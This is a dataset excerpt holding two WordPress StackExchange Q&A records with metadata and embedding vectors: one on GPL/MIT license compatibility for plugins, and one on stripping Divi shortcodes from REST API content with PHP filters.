id
stringlengths
40
40
text
stringlengths
29
2.03k
original_text
stringlengths
3
154k
subdomain
stringclasses
20 values
metadata
dict
emb
sequencelengths
1.02k
1.02k
45cb088a791bfca5cdc61ac158392c6e6f278bd9
Wordpress Stackexchange Q: Create plugin with 3rd party MIT license code I have own WP plugin under GPL2 license as need for WP, but now I wanna add some 3rd party code for directory listing and this code is under MIT license. What I need to do, that make all right and use this code in my plugin? A: yes, you can include Expat (MIT) licensed libraries in your GPL plugin. WordPress plugin guidelines states, Although any GPL-compatible license is acceptable, using the same license as WordPress — “GPLv2 or later” — is strongly recommended. All code, data, and images — anything stored in the plugin directory hosted on WordPress.org — must comply with the GPL or a GPL-Compatible license. Included third-party libraries, code, images, or otherwise, must be compatible. Here is a list of licenses compatible with GPL.
Q: Create plugin with 3rd party MIT license code I have own WP plugin under GPL2 license as need for WP, but now I wanna add some 3rd party code for directory listing and this code is under MIT license. What I need to do, that make all right and use this code in my plugin? A: yes, you can include Expat (MIT) licensed libraries in your GPL plugin. WordPress plugin guidelines states, Although any GPL-compatible license is acceptable, using the same license as WordPress — “GPLv2 or later” — is strongly recommended. All code, data, and images — anything stored in the plugin directory hosted on WordPress.org — must comply with the GPL or a GPL-Compatible license. Included third-party libraries, code, images, or otherwise, must be compatible. Here is a list of licenses compatible with GPL.
wordpress
{ "language": "en", "length": 137, "provenance": "stackexchange_00019.jsonl.gz:485317", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/300318" }
[ 0.02764892578125, 0.0204925537109375, -0.0079193115234375, -0.0205078125, 0.006397247314453125, -0.0189971923828125, 0.001628875732421875, -0.0239715576171875, -0.0027980804443359375, 0.018341064453125, -0.0063934326171875, 0.00386810302734375, -0.022125244140625, -0.0235443115234375, -0.0026607513427734375, -0.035797119140625, 0.02154541015625, -0.0025234222412109375, 0.03497314453125, -0.005809783935546875, 0.0008935928344726562, 0.00965118408203125, 0.0234832763671875, 0.0179595947265625, 0.052520751953125, -0.07586669921875, 0.0836181640625, 0.0009517669677734375, 0.026947021484375, -0.0214691162109375, 0.0396728515625, -0.01446533203125, 0.03558349609375, 0.013946533203125, -0.0435791015625, 0.030517578125, 0.00872802734375, -0.00464630126953125, -0.00115966796875, 0.0220947265625, 0.0439453125, -0.0266571044921875, 0.0010232925415039062, 0.00885772705078125, -0.0165557861328125, -0.040191650390625, 0.07196044921875, 0.00896453857421875, -0.01410675048828125, 0.031280517578125, 0.010284423828125, 0.0166778564453125, 0.0188751220703125, 0.0011997222900390625, -0.00759124755859375, 0.007354736328125, -0.0156097412109375, 0.038482666015625, 0.01812744140625, -0.00347900390625, -0.0201568603515625, 0.00405120849609375, 0.012725830078125, 0.00963592529296875, 0.01113128662109375, 0.0018682479858398438, -0.04400634765625, 0.0231170654296875, -0.007587432861328125, 0.00905609130859375, 0.025360107421875, -0.0421142578125, 0.0247344970703125, -0.0263519287109375, -0.0204925537109375, -0.0103912353515625, 0.01189422607421875, -0.00865936279296875, 0.0077667236328125, -0.00601959228515625, 0.03607177734375, 0.004638671875, -0.044891357421875, -0.005706787109375, -0.0019397735595703125, 0.0162506103515625, 0.00777435302734375, -0.034454345703125, -0.022186279296875, 0.02911376953125, -0.01654052734375, 0.01129913330078125, -0.006946563720703125, 0.02276611328125, 0.0008521080017089844, 0.0010166168212890625, 0.031951904296875, 0.037200927734375, -0.006229400634765625, 0.0306243896484375, 0.006320953369140625, -0.049346923828125, 0.0621337890625, -0.04132080078125, -0.0147247314453125, 0.06854248046875, 0.01117706298828125, -0.03741455078125, -0.0232696533203125, -0.0025196075439453125, -0.0007300376892089844, -0.036773681640625, 0.04443359375, -0.012908935546875, -0.03363037109375, 0.00847625732421875, 0.0089874267578125, 0.015777587890625, 0.010711669921875, 0.007160186767578125, 0.01122283935546875, 0.027801513671875, 0.03973388671875, -0.03326416015625, -0.00885009765625, -0.0018062591552734375, -0.0189361572265625, -0.059417724609375, -0.01548004150390625, -0.0115509033203125, 0.01528167724609375, 0.05657958984375, 0.00937652587890625, -0.006755828857421875, -0.06256103515625, 0.0206298828125, -0.020050048828125, 0.01531982421875, 0.01428985595703125, -0.024169921875, -0.0213165283203125, 0.01146697998046875, 0.0887451171875, -0.022552490234375, 0.044708251953125, 0.04669189453125, -0.002338409423828125, -0.01041412353515625, 0.0428466796875, -0.0023937225341796875, 0.0172576904296875, -0.0732421875, 0.00691986083984375, 0.006114959716796875, 0.04852294921875, -0.0623779296875, 0.07623291015625, -0.06610107421875, 0.048736572265625, -0.056396484375, 0.01470947265625, 0.0005326271057128906, 0.0184478759765625, -0.06158447265625, -0.06689453125, -0.006317138671875, -0.037811279296875, -0.002773284912109375, 0.01026153564453125, -0.0073699951171875, 0.00024056434631347656, -0.03192138671875, -0.043914794921875, -0.0031261444091796875, 0.0057830810546875, 0.0259552001953125, 0.05126953125, 0.0266876220703125, 0.026123046875, 0.019775390625, -0.031951904296875, -0.0362548828125, 0.106201171875, -0.07305908203125, -0.049896240234375, -0.00775146484375, 0.0120391845703125, 0.0306243896484375, 0.019195556640625, -0.0028018951416015625, 0.0738525390625, -0.00804901123046875, -0.0169219970703125, -0.00110626220703125, -0.00021839141845703125, -0.06304931640625, 0.03509521484375, -0.0232391357421875, 0.00463104248046875, 0.024749755859375, 0.0123443603515625, 0.0301055908203125, -0.0283050537109375, 0.0253753662109375, -0.0286712646484375, 0.00405120849609375, -0.0052947998046875, 0.01326751708984375, 0.0186004638671875, 0.032135009765625, -0.01007080078125, -0.023468017578125, -0.005268096923828125, 0.01540374755859375, -0.0009708404541015625, -0.00372314453125, -0.01399993896484375, 0.07257080078125, 0.0303802490234375, 0.00962066650390625, 0.06402587890625, -0.0253143310546875, 0.07452392578125, 0.0228424072265625, 0.00638580322265625, 0.00804901123046875, -0.0252838134765625, -0.01184844970703125, -0.026947021484375, 0.0192413330078125, -0.016815185546875, 0.02520751953125, -0.015045166015625, 0.0188751220703125, -0.0220794677734375, -0.0286102294921875, -0.0261383056640625, -0.0245361328125, 0.029510498046875, 0.041717529296875, 0.051177978515625, 0.01506805419921875, -0.004955291748046875, -0.039703369140625, 0.06787109375, -0.038299560546875, 0.01526641845703125, -0.034454345703125, -0.005290985107421875, 0.0224151611328125, 0.01096343994140625, 0.01226043701171875, 0.0207366943359375, -0.033660888671875, -0.013916015625, 0.042144775390625, -0.047607421875, -0.0828857421875, 0.047210693359375, -0.035003662109375, 0.036102294921875, -0.05194091796875, -0.047943115234375, -0.0040283203125, -0.0161895751953125, 0.0072174072265625, 0.019683837890625, 0.02069091796875, -0.0028400421142578125, -0.02044677734375, 0.022979736328125, 0.019317626953125, -0.01468658447265625, -0.0140380859375, 0.025634765625, 0.0462646484375, -0.0379638671875, 0.003177642822265625, 0.0164947509765625, 0.0010318756103515625, -0.0230865478515625, -0.0023059844970703125, -0.052642822265625, -0.007396697998046875, -0.0301055908203125, -0.0276336669921875, 0.017852783203125, 0.0243682861328125, -0.028228759765625, -0.019927978515625, 0.032257080078125, -0.0053558349609375, -0.038299560546875, 0.0201568603515625, -0.0236968994140625, -0.030548095703125, 0.0291900634765625, -0.0118560791015625, 0.0183868408203125, -0.053741455078125, 0.007091522216796875, 0.02490234375, -0.01678466796875, -0.0252532958984375, -0.00511932373046875, 0.0308074951171875, 0.0247802734375, -0.0013370513916015625, -0.00859832763671875, -0.0261688232421875, -0.001758575439453125, -0.0205841064453125, -0.018524169921875, -0.02197265625, -0.037200927734375, -0.04046630859375, -0.050262451171875, -0.022918701171875, -0.075439453125, -0.0261993408203125, 0.050323486328125, -0.026702880859375, 0.03143310546875, 0.003780364990234375, -0.01031494140625, -0.04852294921875, 0.044708251953125, -0.0028324127197265625, 0.01953125, -0.048492431640625, -0.049713134765625, -0.0867919921875, -0.068359375, -0.023193359375, 0.001800537109375, -0.0140380859375, 0.018310546875, 0.01142120361328125, 0.00865936279296875, -0.051116943359375, 0.0011920928955078125, 0.088134765625, -0.017608642578125, 0.0005335807800292969, 0.0037631988525390625, -0.0243988037109375, -0.00533294677734375, -0.00220489501953125, -0.0235595703125, 0.0073394775390625, 0.005435943603515625, -0.01214599609375, 0.02154541015625, -0.003147125244140625, 0.0084381103515625, -0.0241546630859375, -0.0267181396484375, 0.020263671875, -0.022613525390625, -0.04461669921875, -0.01287841796875, 0.02734375, -0.0154571533203125, -0.01526641845703125, -0.00582122802734375, -0.02777099609375, 0.0107879638671875, 0.004337310791015625, -0.00015842914581298828, 0.00782012939453125, 0.00972747802734375, -0.0037097930908203125, 0.007152557373046875, -0.0270233154296875, -0.030181884765625, -0.0162200927734375, 0.008575439453125, -0.0279693603515625, -0.03582763671875, -0.020355224609375, 0.00611114501953125, -0.01374053955078125, 0.016143798828125, -0.0280303955078125, 0.004150390625, 0.037933349609375, -0.0035762786865234375, 0.0272216796875, -0.0189056396484375, -0.0201416015625, -0.01044464111328125, 0.06524658203125, 0.010101318359375, -0.03363037109375, 0.005016326904296875, 0.002384185791015625, -0.0221099853515625, 0.02996826171875, -0.0162506103515625, -0.0158843994140625, 0.023590087890625, -0.0209808349609375, 0.0005211830139160156, -0.03546142578125, 0.0194244384765625, -0.026519775390625, 0.02587890625, -0.00766754150390625, 0.00508880615234375, -0.0225982666015625, 0.02764892578125, -0.0099639892578125, 0.0309295654296875, -0.05029296875, 0.0312347412109375, -0.03900146484375, -0.06396484375, 0.0038318634033203125, -0.057861328125, 0.0623779296875, 0.040679931640625, -0.024627685546875, -0.0246734619140625, 0.02093505859375, 0.0042572021484375, 0.060089111328125, 0.00289154052734375, 0.0175018310546875, -0.00614166259765625, -0.00841522216796875, 0.02801513671875, -0.03228759765625, -0.0015468597412109375, -0.011627197265625, -0.044525146484375, 0.000514984130859375, 0.00624847412109375, 0.0216217041015625, 0.032196044921875, -0.035614013671875, -0.0035610198974609375, -0.0008664131164550781, -0.01520538330078125, 0.001399993896484375, -0.0009255409240722656, -0.0304412841796875, 0.01096343994140625, -0.01291656494140625, 0.038360595703125, -0.021087646484375, 0.01025390625, 0.0162200927734375, 0.0650634765625, -0.00347137451171875, -0.0116729736328125, -0.07208251953125, -0.031829833984375, 0.0218048095703125, -0.0379638671875, 0.06439208984375, 0.0462646484375, -0.00780487060546875, 0.03485107421875, -0.0193939208984375, 0.00827789306640625, -0.0180511474609375, 0.044189453125, 0.01462554931640625, -0.004558563232421875, 0.004611968994140625, 0.01434326171875, -0.00930023193359375, 0.006114959716796875, 0.002857208251953125, 0.004283905029296875, -0.0039520263671875, 0.0160980224609375, 0.01493072509765625, -0.029144287109375, -0.015411376953125, -0.0380859375, 0.01043701171875, -0.04534912109375, 0.023773193359375, 0.0121917724609375, 0.003643035888671875, -0.004642486572265625, -0.005153656005859375, -0.016876220703125, 0.0238494873046875, -0.0002624988555908203, -0.008544921875, 0.01499176025390625, 0.035919189453125, -0.031036376953125, 0.0207366943359375, -0.0112762451171875, 0.0178070068359375, 0.0168304443359375, -0.0287628173828125, -0.0271148681640625, -0.007659912109375, 0.0367431640625, -0.014190673828125, -0.045440673828125, 0.054107666015625, 0.0579833984375, -0.0308380126953125, -0.0162353515625, -0.047027587890625, -0.007091522216796875, -0.06549072265625, 0.040557861328125, -0.00518798828125, -0.0017852783203125, -0.030914306640625, 0.084228515625, 0.01032257080078125, 0.01480865478515625, -0.006145477294921875, 0.06658935546875, 0.042572021484375, 0.022674560546875, 0.01230621337890625, -0.004116058349609375, -0.02764892578125, 0.00638580322265625, -0.06256103515625, -0.01375579833984375, 0.04180908203125, -0.0265350341796875, 0.007633209228515625, -0.0240631103515625, -0.03851318359375, 0.052734375, -0.04852294921875, -0.0269012451171875, -0.01375579833984375, 0.01215362548828125, 0.0239105224609375, -0.0179290771484375, -0.006710052490234375, 0.018218994140625, 0.057708740234375, -0.021636962890625, -0.036285400390625, -0.04425048828125, -0.017791748046875, 0.034637451171875, -0.042510986328125, 0.01861572265625, 0.0082855224609375, 0.016326904296875, -0.0283050537109375, -0.03173828125, -0.060699462890625, 0.0182952880859375, -0.0308837890625, 0.0132598876953125, 0.0599365234375, -0.0215606689453125, 0.00006699562072753906, -0.0264739990234375, 0.0079803466796875, -0.0421142578125, 0.0003204345703125, 0.053741455078125, 0.04534912109375, -0.01467132568359375, -0.0265655517578125, -0.024322509765625, -0.05157470703125, -0.03204345703125, -0.009185791015625, -0.04962158203125, 0.007190704345703125, 0.009490966796875, 0.013641357421875, -0.01519775390625, -0.0098114013671875, -0.024078369140625, 0.0517578125, 0.03509521484375, 0.0660400390625, -0.0350341796875, 0.046478271484375, 0.0266876220703125, 0.0029201507568359375, -0.0016727447509765625, 0.044586181640625, 0.0399169921875, -0.02337646484375, 0.00780487060546875, -0.040374755859375, -0.039306640625, -0.01009368896484375, -0.048004150390625, 0.045684814453125, 0.05633544921875, -0.0026226043701171875, 0.004486083984375, -0.0002739429473876953, 0.005218505859375, -0.01099395751953125, 0.0257720947265625, 0.0268402099609375, -0.0182952880859375, 0.04205322265625, -0.06256103515625, 0.0145111083984375, -0.00334930419921875, 0.0036334991455078125, 0.046417236328125, -0.06512451171875, 0.02630615234375, 0.049774169921875, -0.0175018310546875, 0.006855010986328125, -0.005176544189453125, -0.00931549072265625, 0.0118255615234375, 0.0140228271484375, 0.0226898193359375, 0.000774383544921875, -0.0333251953125, 0.04656982421875, 0.0494384765625, 0.041351318359375, -0.042633056640625, -0.00595855712890625, -0.00917816162109375, -0.032073974609375, 0.01480865478515625, 0.01251983642578125, 0.0531005859375, -0.02197265625, -0.001438140869140625, 0.0228118896484375, -0.0416259765625, -0.0149993896484375, -0.0059814453125, -0.0074310302734375, -0.00756072998046875, 0.0214996337890625, -0.026763916015625, -0.03228759765625, -0.007511138916015625, -0.01178741455078125, -0.02117919921875, 0.0003437995910644531, 0.03839111328125, 0.027587890625, 0.012176513671875, -0.0197296142578125, -0.0006432533264160156, -0.01409912109375, 0.01178741455078125, 0.02545166015625, 0.002391815185546875, -0.01021575927734375, -0.0195465087890625, 0.03887939453125, -0.0141143798828125, -0.0171661376953125, 0.044921875, 0.00641632080078125, 0.0241241455078125, 0.03759765625, -0.002971649169921875, 0.0148162841796875, 0.0136871337890625, -0.000033020973205566406, -0.0033702850341796875, -0.02459716796875, 0.0031223297119140625, 0.05010986328125, -0.0088043212890625, 0.01995849609375, -0.0009474754333496094, -0.00992584228515625, -0.007137298583984375, 0.0181427001953125, 0.07794189453125, -0.0182647705078125, -0.0204315185546875, 0.042388916015625, -0.0040283203125, -0.0272064208984375, -0.015777587890625, 0.0152587890625, -0.054962158203125, -0.0218505859375, 0.0034351348876953125, -0.0143890380859375, 0.0166168212890625, -0.006679534912109375, -0.036376953125, 0.06304931640625, 0.01175689697265625, -0.01195526123046875, 0.00418853759765625, 0.029998779296875, -0.034576416015625, 0.007843017578125, 0.0079498291015625, 0.01690673828125, -0.01541900634765625, -0.018707275390625, -0.0001659393310546875, -0.0009465217590332031, -0.01424407958984375, 0.0231781005859375, 0.041778564453125, 0.0250091552734375, -0.062042236328125, -0.06048583984375, -0.06719970703125, -0.00106048583984375, -0.0210418701171875, 0.07318115234375, -0.0079803466796875, -0.01149749755859375, 0.0002658367156982422, 0.016357421875, 0.03997802734375, -0.047515869140625, -0.0277099609375, 0.0106658935546875, -0.00724029541015625, -0.03570556640625, -0.01312255859375, 0.004901885986328125, -0.042236328125, 0.0036258697509765625, 0.0024623870849609375, 0.05914306640625, 0.034088134765625, 0.01528167724609375, -0.0157318115234375, 0.08575439453125, 0.0008072853088378906, 0.006443023681640625, 0.01137542724609375, -0.02215576171875, 0.0160675048828125, -0.0166778564453125, 0.005840301513671875, 0.044769287109375, -0.015960693359375, -0.00919342041015625, 0.03778076171875, -0.0173187255859375, 0.03387451171875, 0.03668212890625, 0.033660888671875, 0.0093994140625, 0.043182373046875, 0.00897979736328125, 0.01806640625, -0.041595458984375, -0.0709228515625, 0.002353668212890625, 0.0182037353515625, 0.0190582275390625, 0.039154052734375, 0.0256500244140625, -0.00988006591796875, 0.06915283203125, -0.0196533203125, -0.00958251953125, 0.006870269775390625, 0.0206298828125, -0.01523590087890625, -0.02642822265625, -0.01151275634765625, 0.0096435546875, -0.0222015380859375, 0.006885528564453125, 0.0030994415283203125, 0.03729248046875, 0.006557464599609375, 0.033538818359375, -0.0287322998046875, -0.01678466796875, -0.0010852813720703125, 0.026031494140625, -0.00370025634765625, 0.01500701904296875, -0.0712890625, -0.09088134765625, 0.046295166015625, 0.068359375, -0.005519866943359375, 0.05242919921875, 0.05206298828125, 0.0275726318359375, -0.0278167724609375, -0.0130767822265625, 0.03753662109375, -0.0290679931640625, 0.0102691650390625, -0.006847381591796875, 0.0103302001953125, 0.0205535888671875, -0.0161590576171875, -0.009002685546875, -0.004924774169921875, 0.050811767578125, -0.03021240234375, 0.0018129348754882812, -0.00833892822265625, -0.038848876953125, 0.058563232421875, -0.018646240234375, 0.051513671875, -0.02020263671875, -0.0209808349609375, -0.003452301025390625, 0.0145111083984375, 0.02032470703125, -0.0262298583984375, 0.0010595321655273438, -0.03900146484375, 0.08056640625, 0.048980712890625, -0.02117919921875, 0.0369873046875, 0.01885986328125, -0.0145263671875, 0.00794219970703125, 0.04693603515625, -0.0236663818359375, -0.014251708984375, -0.0159149169921875, -0.0300750732421875, 0.061737060546875, 0.051483154296875, 0.0635986328125, -0.0290679931640625, 0.0443115234375, -0.0256805419921875, -0.017730712890625, -0.016571044921875, -0.03118896484375, -0.007080078125, -0.01030731201171875, -0.0161285400390625, 0.019927978515625, -0.02679443359375, -0.007007598876953125, 0.0015497207641601562, -0.0655517578125, -0.01126861572265625, -0.00687408447265625, 0.012298583984375, 0.00005412101745605469, 0.03948974609375, -0.027069091796875, -0.023162841796875, -0.034271240234375, -0.01149749755859375, 0.01428985595703125, 0.0181732177734375, -0.01436614990234375, -0.0204010009765625, -0.0278167724609375, -0.037078857421875, 0.0141143798828125, -0.01204681396484375, -0.0022335052490234375, 0.0120086669921875, -0.01386260986328125, -0.049530029296875, 0.0021381378173828125, -0.0165557861328125, 0.0029754638671875, -0.004268646240234375, 0.0693359375, -0.01035308837890625, -0.048980712890625, 0.0240936279296875, -0.00946044921875, -0.0265045166015625, -0.057342529296875, -0.0322265625, 0.056121826171875, -0.019439697265625, -0.0032367706298828125, -0.0201568603515625, -0.0252532958984375, -0.050994873046875, 0.0172882080078125, 0.028564453125, -0.0173187255859375, -0.031280517578125, -0.0533447265625, 0.01031494140625, -0.00028228759765625, 0.004116058349609375, -0.0626220703125, 0.034637451171875, -0.0018682479858398438, 0.0019683837890625, -0.00757598876953125, 0.07659912109375, -0.037994384765625, -0.024566650390625, -0.04132080078125, -0.05908203125, -0.007755279541015625, 0.0943603515625, 0.00797271728515625, 0.044647216796875, 0.060211181640625, -0.047576904296875, -0.04779052734375, 0.0787353515625, 0.061676025390625, 0.110595703125, 0.037841796875, -0.0076141357421875, 0.00814056396484375, -0.0149078369140625, -0.0218353271484375, -0.061859130859375, 0.0181732177734375, -0.07958984375, -0.0265350341796875, 0.0038623809814453125, -0.01232147216796875, -0.00739288330078125, -0.03948974609375, -0.039276123046875, 0.047576904296875, 0.01025390625, -0.026947021484375, -0.0027523040771484375, -0.027923583984375, -0.00662994384765625, 0.02374267578125, -0.013702392578125, 0.01016998291015625, -0.03277587890625, 0.02923583984375, -0.001575469970703125, 0.05389404296875, -0.005092620849609375, 0.0065155029296875, 0.03497314453125, 0.038299560546875, 0.0275115966796875, -0.0037021636962890625, -0.021209716796875, -0.016815185546875, 0.0404052734375, 0.0338134765625, -0.021575927734375, 0.02862548828125, 0.019775390625, 0.010467529296875, -0.01178741455078125, -0.0634765625, 0.022308349609375, 0.005092620849609375, 0.0791015625, -0.01021575927734375, 0.006900787353515625, -0.0279541015625, 0.03619384765625, -0.0159149169921875, -0.0273284912109375, -0.0150146484375, 0.01036834716796875, -0.051971435546875, -0.01351165771484375, -0.00301361083984375, -0.0243682861328125, -0.0158843994140625, -0.0027294158935546875, -0.0667724609375, -0.006954193115234375, -0.06683349609375, -0.0219268798828125, -0.0297088623046875, -0.0192718505859375, 0.06512451171875, -0.046905517578125, -0.033233642578125, -0.0036106109619140625, 0.0207061767578125, 0.00028514862060546875, -0.034637451171875, 0.054412841796875, 0.0196990966796875, -0.0288543701171875, 0.00022614002227783203, 0.03839111328125, 0.004558563232421875, -0.0018253326416015625, -0.056365966796875, -0.002140045166015625, 0.034454345703125, 0.00759124755859375, 0.0310211181640625, -0.035614013671875, 0.0579833984375, 0.0200653076171875, 0.0216827392578125, 0.0090179443359375, -0.0215301513671875, -0.0107574462890625, 0.03131103515625, -0.04583740234375, -0.010894775390625, -0.028594970703125, -0.044769287109375, 0.0302734375, 0.0067291259765625, 0.0132904052734375, 0.023101806640625, -0.007762908935546875, -0.092041015625, -0.0222625732421875, -0.00096893310546875 ]
863cdf364d5836ff67da7cb0b10469bc53b9152a
Wordpress Stackexchange Q: WordPress REST API - JSON "Rendered" Content Incorrect i'm working in android application that use wordpress rest api to get blog from website to , i don't have any knowledge about php or wordpress , but i take some time to learn about it , any way my problem is on the json .the content contain paragraphs unknown and i don't know how to solve this problem ,please help A: The content that you are referring to is coming from the Elegant Themes Page Builder plugin on that site. The page builder uses WordPress Shortcodes to render the content on the WordPress site. However, when you use the REST API, the content is pulled from the WordPress database and the shortcodes are not processed/rendered first. You would need to remove the shortcodes from the returned JSON before it is displayed in your app. You could use something like this to remove the shortcodes before displaying your content in the app: // Remove Divi/ET Page Builder shortcodes $content = preg_replace('/\[\/?et_pb.*?\]/', '', $content);
Q: WordPress REST API - JSON "Rendered" Content Incorrect i'm working in android application that use wordpress rest api to get blog from website to , i don't have any knowledge about php or wordpress , but i take some time to learn about it , any way my problem is on the json .the content contain paragraphs unknown and i don't know how to solve this problem ,please help A: The content that you are referring to is coming from the Elegant Themes Page Builder plugin on that site. The page builder uses WordPress Shortcodes to render the content on the WordPress site. However, when you use the REST API, the content is pulled from the WordPress database and the shortcodes are not processed/rendered first. You would need to remove the shortcodes from the returned JSON before it is displayed in your app. You could use something like this to remove the shortcodes before displaying your content in the app: // Remove Divi/ET Page Builder shortcodes $content = preg_replace('/\[\/?et_pb.*?\]/', '', $content); A: You can place this code in your themes functions.php file: function awh_filter_post_json( $data, $post, $context ) { $data = json_encode($data); //convert array or object to JSON string $data = preg_replace('/\[\/?et_pb.*?\]/', '', $data); //remove shortcodes $data = json_decode($data); //convert JSON String to array or object return $data; } add_filter( 'rest_prepare_post', 'awh_filter_post_json', 10, 3 ); A: Thanks to the other answers, I solved it like this (in my WP theme functions.php file) : add_filter( 'rest_prepare_post', 'lb_filter_post_content', 11, 3 ); function lb_filter_post_content($data, $post, $context){ // remove shortcode just on content > rendered $data->data["content"]["rendered"] = preg_replace('/\[\/?et_pb.*?\]/', '', $data->data["content"]["rendered"]); return $data; } PS. The shortcodes with "et_pb" derive from the fact that the Divi theme is used on the WP with its page builder, so I just remove those shortcodes. I wrote the above in the functions.php of my Divi child-theme. This solution is good if you want to fix the WP side problem, which is where the problem is generated.
wordpress
{ "language": "en", "length": 329, "provenance": "stackexchange_00019.jsonl.gz:485422", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/300736" }
[ 0.0016078948974609375, -0.0227813720703125, -0.0158233642578125, 0.0159759521484375, -0.02435302734375, -0.035369873046875, 0.032745361328125, -0.01149749755859375, -0.005069732666015625, 0.005413055419921875, -0.0157928466796875, -0.0189971923828125, -0.046539306640625, -0.0357666015625, -0.017730712890625, -0.06451416015625, 0.0131072998046875, 0.03594970703125, 0.031982421875, -0.01776123046875, -0.00931549072265625, -0.0036334991455078125, 0.0099945068359375, 0.0198822021484375, 0.034454345703125, -0.038543701171875, 0.0655517578125, -0.0084228515625, 0.0186614990234375, -0.01279449462890625, 0.02337646484375, -0.0175933837890625, 0.042236328125, 0.0523681640625, -0.11480712890625, -0.0216064453125, -0.0184783935546875, 0.0211944580078125, -0.048797607421875, 0.03973388671875, -0.0009579658508300781, 0.005413055419921875, 0.029998779296875, -0.031829833984375, -0.006458282470703125, -0.00418853759765625, 0.019256591796875, -0.0273895263671875, -0.0023441314697265625, 0.037628173828125, 0.03094482421875, -0.0110015869140625, 0.0296173095703125, 0.031036376953125, -0.0160675048828125, -0.01215362548828125, -0.0092620849609375, -0.008026123046875, 0.031005859375, -0.0099029541015625, -0.02056884765625, 0.00003159046173095703, 0.01009368896484375, -0.01450347900390625, 0.01030731201171875, 0.0062103271484375, 0.0533447265625, 0.0163726806640625, -0.0290069580078125, 0.01708984375, 0.027313232421875, -0.026458740234375, -0.015960693359375, -0.034454345703125, -0.020538330078125, 0.045806884765625, -0.0166015625, 0.01146697998046875, 0.00986480712890625, -0.0185394287109375, 0.0196075439453125, 0.01800537109375, 0.01345062255859375, -0.0127716064453125, -0.005825042724609375, -0.00506591796875, -0.007110595703125, -0.0251922607421875, -0.043121337890625, -0.004337310791015625, -0.02801513671875, -0.07659912109375, -0.034149169921875, 0.0230712890625, 0.0160675048828125, 0.0009975433349609375, -0.01268768310546875, 0.00551605224609375, -0.0127716064453125, 0.046966552734375, 0.02557373046875, -0.05108642578125, 0.09661865234375, -0.048248291015625, 0.0048980712890625, -0.047607421875, -0.005260467529296875, -0.0203094482421875, 0.056060791015625, 0.036285400390625, -0.0276336669921875, 0.0946044921875, -0.020751953125, -0.0206451416015625, -0.0216827392578125, 0.0198211669921875, -0.04656982421875, -0.001953125, -0.0047149658203125, -0.03057861328125, -0.0084381103515625, -0.004405975341796875, -0.0047454833984375, 0.01203155517578125, 0.0272064208984375, 0.0197601318359375, -0.028045654296875, 0.016204833984375, 0.035369873046875, 0.0254058837890625, -0.006908416748046875, 0.010406494140625, -0.0007510185241699219, 0.00281524658203125, -0.0131072998046875, -0.0087890625, -0.01263427734375, 0.01007843017578125, -0.011627197265625, -0.0031795501708984375, -0.01192474365234375, 0.00199127197265625, 0.030975341796875, -0.039276123046875, -0.006298065185546875, 0.01220703125, 0.01280975341796875, 0.0146026611328125, -0.00048160552978515625, -0.0335693359375, -0.013671875, -0.0007410049438476562, 0.027557373046875, 0.01490020751953125, 0.06402587890625, -0.021240234375, 0.0958251953125, -0.056427001953125, -0.0018138885498046875, -0.034271240234375, 0.0030117034912109375, -0.043853759765625, -0.02734375, -0.016143798828125, -0.046478271484375, 0.0443115234375, -0.007106781005859375, -0.0006585121154785156, 0.0316162109375, 0.057220458984375, 0.0172271728515625, -0.050994873046875, -0.0017375946044921875, 0.005634307861328125, -0.01107025146484375, 0.01922607421875, -0.038726806640625, 0.0232391357421875, 0.03643798828125, -0.00250244140625, 0.0024929046630859375, -0.0259246826171875, 0.05145263671875, 0.01617431640625, -0.06439208984375, 0.091796875, 0.0235443115234375, 0.10711669921875, -0.005443572998046875, 0.027618408203125, 0.024505615234375, 0.043121337890625, -0.0022258758544921875, 0.007450103759765625, -0.0033626556396484375, -0.04931640625, 0.01152801513671875, -0.014923095703125, -0.00592803955078125, 0.01067352294921875, -0.0183868408203125, 0.004299163818359375, -0.0021209716796875, 0.0159759521484375, -0.000006854534149169922, -0.01496124267578125, -0.0036640167236328125, 0.00827789306640625, -0.031402587890625, 0.03375244140625, 0.0280303955078125, 0.031402587890625, -0.08026123046875, 0.06854248046875, 0.0169830322265625, -0.00815582275390625, -0.0219573974609375, 0.04461669921875, -0.020721435546875, 0.037017822265625, -0.01348114013671875, -0.03985595703125, -0.007801055908203125, 0.021881103515625, 0.06201171875, -0.04901123046875, 0.015777587890625, -0.047271728515625, 0.0699462890625, -0.03350830078125, 0.01593017578125, 0.042388916015625, 0.00521087646484375, 0.0190887451171875, -0.044281005859375, -0.0022411346435546875, -0.0111541748046875, 0.0018939971923828125, 0.00032806396484375, 0.03521728515625, 0.03485107421875, 0.054779052734375, -0.00016820430755615234, -0.033966064453125, 0.055908203125, -0.0030117034912109375, 0.02642822265625, -0.053466796875, 0.03143310546875, 0.0460205078125, -0.0164794921875, -0.028900146484375, 0.006343841552734375, -0.053192138671875, 0.01071929931640625, 0.0218353271484375, -0.0202178955078125, -0.018707275390625, -0.01192474365234375, 0.0159149169921875, 0.0231781005859375, 0.0006184577941894531, -0.01039886474609375, -0.01494598388671875, -0.001605987548828125, 0.0107879638671875, 0.0233612060546875, 0.041473388671875, -0.0399169921875, 0.00405120849609375, 0.024017333984375, 0.08441162109375, -0.00975799560546875, 0.062744140625, 0.04638671875, 0.00015878677368164062, -0.0148162841796875, -0.0298004150390625, 0.00455474853515625, 0.038116455078125, -0.00769805908203125, 0.03143310546875, -0.007171630859375, -0.0112152099609375, 0.00006914138793945312, -0.00775909423828125, -0.0122833251953125, 0.0028057098388671875, 0.03436279296875, 0.035858154296875, 0.004390716552734375, 0.09368896484375, 0.02459716796875, 0.048614501953125, 0.0301513671875, 0.026092529296875, 0.07293701171875, -0.031890869140625, 0.042633056640625, -0.022247314453125, 0.0169677734375, 0.034912109375, -0.0039005279541015625, -0.01374053955078125, -0.00732421875, 0.042236328125, -0.009674072265625, -0.017791748046875, -0.0112457275390625, -0.003025054931640625, -0.0121307373046875, 0.031951904296875, 0.0255889892578125, 0.034393310546875, 0.000030517578125, -0.041290283203125, -0.00559234619140625, 0.0372314453125, -0.0775146484375, -0.06134033203125, 0.046234130859375, -0.025665283203125, -0.00887298583984375, 0.0015544891357421875, -0.0258941650390625, -0.01549530029296875, 0.02239990234375, -0.02130126953125, 0.03179931640625, -0.034515380859375, -0.061004638671875, -0.0401611328125, -0.083740234375, 0.03277587890625, 0.001209259033203125, 0.00821685791015625, 0.00905609130859375, 0.0233154296875, 0.0126495361328125, -0.032073974609375, 0.0044097900390625, 0.06683349609375, -0.030548095703125, -0.0264434814453125, 